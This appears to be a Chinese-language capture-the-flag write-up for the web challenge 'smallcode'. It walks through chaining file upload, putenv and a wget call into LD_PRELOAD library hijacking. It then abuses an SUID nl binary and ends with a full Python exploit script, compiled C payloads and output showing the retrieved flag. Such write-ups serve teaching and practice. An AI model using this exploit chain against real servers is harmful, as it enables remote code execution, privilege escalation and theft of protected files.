smallcode Writeup

1. 题目信息

  • 题目名称:smallcode
  • 题目描述:try to wget !!!
  • 题目提示:更新:1.txt没有执行的权限。

核心源代码

<?php
highlight_file(__FILE__);
if(isset($_POST['context'])){
$context = $_POST['context'];
file_put_contents("1.txt",base64_decode($context));
}

if(isset($_POST['env'])){
$env = $_POST['env'];
putenv($env);
}
system("nohup wget --content-disposition -N hhhh &");

2. 漏洞分析

通过审计源码可以确认以下关键点:

  • 任意文件上传file_put_contents("1.txt", base64_decode($context)) 允许通过 context 参数把任意内容(包括二进制)写入 1.txt
  • 任意环境变量设置putenv($env) 允许通过 env 参数设置任意环境变量。
  • 命令执行触发system("nohup wget ... &") 触发了一个后台进程,且该进程会继承当前环境变量。

这三者组合指向经典的 LD_PRELOAD 动态链接库劫持:上传一个恶意 .so,通过 LD_PRELOAD 指向它,随后触发 wget,使系统在启动 wget 时优先加载我们的库并执行任意代码,实现 RCE。


3. 解题思路与探索过程(The Journey)

这是一个逐步排错与策略调整的过程,关键阶段如下:

阶段一:初步尝试与碰壁 — 输出通道的死亡

尝试直接执行回显命令(如 cat /flag)并期望通过网页看到输出,但未见任何自定义输出。原因在于 system() 中使用了 nohup ... &,将 wget 后台化且与 PHP 的 stdout/stderr 脱离,因此无法通过页面直接回显命令输出。

阶段二:寻找出路 — 写入文件

既然不能回显,思路转为把结果写成可通过 HTTP 访问的文件。目标为:让服务器把 /flag 的内容写到一个位于 Web 可访问目录下的文件(如 /var/www/html/flag.txt),随后通过浏览器读取。

初次尝试失败,原因可能为:

  • 没有 /var/www/html 的写权限;
  • 无法直接读取 /flag(权限限制)。

阶段三:权限的斗争 — 寻找 SUID 后门

为了读取 /flag,必须提权。常见做法是寻找具有 SUID 的二进制(以 root 权限运行)。使用 find / -perm -4000(或等价方式)把 SUID 程序列表导出到可读取的文件并访问结果。

结果发现了一个可疑的 SUID 程序:/usr/bin/nlnl 的常规功能是给文件加行号并输出,它本身不应需要 root 权限,这说明出题者故意放置了后门。

阶段四:终极一击 — 利用 nl 获取 Flag

利用 /usr/bin/nl(SUID)读取 /flag,将内容写到 /tmp/flag_out,再把该文件移动到 Web 根目录下,最后通过 HTTP 读取。


4. 最终攻击脚本(The Final Exploit)

下面 Python 脚本自动化了成功的攻击流程(分为“读取 → 移动 → 获取”三步):

import requests
import base64
import os
import re
import time

# 题目 URL
url = "http://web-4a45411f82.challenge.xctf.org.cn/"

def compile_and_send(c_code):
"""一个辅助函数,用于编译C代码并发送payload"""
with open("exploit.c", "w") as f:
f.write(c_code)
os.system("gcc -shared -fPIC -w -o exploit.so exploit.c")
if not os.path.exists("exploit.so"):
print("[!] FATAL: Compilation failed. Aborting.")
return False
with open("exploit.so", "rb") as f:
so_content = base64.b64encode(f.read()).decode()
payload = {'context': so_content, 'env': 'LD_PRELOAD=/var/www/html/1.txt'}
try:
requests.post(url, data=payload, timeout=5)
except requests.RequestException:
pass
return True

try:
# --- 阶段 1: 使用 nl 读取 Payload ---
# 我们用找到的 SUID nl 命令来读取 /flag,并把结果写入临时文件
print("[*] Stage 1: Compiling and sending READ payload ('nl /flag > /tmp/flag_out')...")
c_code_stage1 = """
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) a_init(void) {
unsetenv("LD_PRELOAD");
system("/usr/bin/nl /flag > /tmp/flag_out");
}
"""
if not compile_and_send(c_code_stage1):
exit()
print("[+] Read request sent. Waiting...")
time.sleep(2)

# --- 阶段 2: 移动 Payload ---
print("\n[*] Stage 2: Compiling and sending MOVE payload ('mv /tmp/flag_out ...')...")
c_code_stage2 = """
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) a_init(void) {
unsetenv("LD_PRELOAD");
system("mv /tmp/flag_out /var/www/html/flag.txt");
}
"""
if not compile_and_send(c_code_stage2):
exit()
print("[+] Move request sent. Waiting...")
time.sleep(2)

# --- 阶段 3: 获取 Flag ---
flag_url = url + "flag.txt"
print(f"\n[*] Stage 3: Attempting to retrieve the final result from {flag_url}")

response = requests.get(flag_url)
if response.status_code == 200 and response.text:
content = response.text.strip()
print("\n[SUCCESS] Flag file retrieved!")
print("--- Flag ---")
print(content)
print("--------------")

# 尝试自动提取
match = re.search(r'(flag\{[a-zA-Z0-9_-]+\})', content)
if match:
print(f"\nExtracted Flag: {match.group(0)}")

else:
print(f"\n[FAILURE] Could not retrieve flag.txt. Status code: {response.status_code}")

except Exception as e:
print(f"\n[!] A critical error occurred: {e}")

finally:
# 清理
print("\n[*] Cleaning up temporary files...")
for f in ["exploit.c", "exploit.so"]:
if os.path.exists(f):
os.remove(f)
print("[+] Cleanup complete.")

5. 执行结果(示例)

[*] Stage 1: Compiling and sending READ payload ('nl /flag > /tmp/flag_out')...
[+] Read request sent. Waiting...

[*] Stage 2: Compiling and sending MOVE payload ('mv /tmp/flag_out ...')...
[+] Move request sent. Waiting...

[*] Stage 3: Attempting to retrieve the final result from http://web-4a45411f82.challenge.xctf.org.cn/flag.txt

[SUCCESS] Flag file retrieved!
--- Flag ---
1 flag{iQwAqlrupeEUFbY1JcDUpwKBTJM1g5rX}
--------------

Extracted Flag: flag{iQwAqlrupeEUFbY1JcDUpwKBTJM1g5rX}

[*] Cleaning up temporary files...
[+] Cleanup complete.

pic


6. 总结

smallcode 是一道巧妙设计的 Linux Web 挑战题,考察点包括:

  • LD_PRELOAD 注入与动态库劫持原理;
  • nohup& 导致的输出流脱离理解;
  • 在无回显环境下使用写文件作为带外信道;
  • 利用 SUID 程序做本地提权;
  • 在受限环境下逐步侦察与逻辑推断的实战技巧。

整题的成功关键在于:

  • 发现可以上传二进制 .so 并设置 LD_PRELOAD
  • 识别并利用被保留的 SUID 程序 /usr/bin/nl
  • 将读取结果写入 Web 可访问位置以完成信息外泄。

capture Writeup


pic